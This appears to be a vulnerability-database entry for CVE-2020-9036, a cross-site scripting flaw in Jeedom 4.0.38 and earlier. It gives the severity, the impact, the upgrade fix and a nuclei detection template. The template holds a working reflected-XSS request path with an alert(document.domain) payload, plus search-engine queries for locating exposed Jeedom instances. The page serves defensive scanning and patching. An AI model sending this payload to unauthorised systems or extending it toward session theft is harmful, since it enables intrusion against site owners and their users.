CVE-2020-9036· jeedom / jeedom· CWE-79
Jeedom <=4.0.38 - Cross-Site Scripting
mediumseverity
6.1CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
Jeedom through 4.0.38 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade Jeedom to version 4.0.39 or later to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22
Positive when: contains "<script>document.title = \"\";alert(document.domain);\" - Jeed…" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2020-9036 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-9036
info:
name: Jeedom <=4.0.38 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: Jeedom through 4.0.38 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Jeedom to version 4.0.39 or later to mitigate this vulnerability.
reference:
- https://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/
- https://nvd.nist.gov/vuln/detail/CVE-2020-9036
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/my3ker/my3ker-cve-workshop
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-9036
cwe-id: CWE-79
epss-score: 0.03763
epss-percentile: 0.89997
cpe: cpe:2.3:a:jeedom:jeedom:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: jeedom
product: jeedom
shodan-query: http.title:"jeedom"
fofa-query: title="jeedom"
google-query: intitle:"jeedom"
tags: cve,cve2020,xss,jeedom,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>document.title = "";alert(document.domain);" - Jeedom"</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/
- https://nvd.nist.gov/vuln/detail/CVE-2020-9036
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/my3ker/my3ker-cve-workshop
Use this check only on systems you are authorised to test. Where the data comes from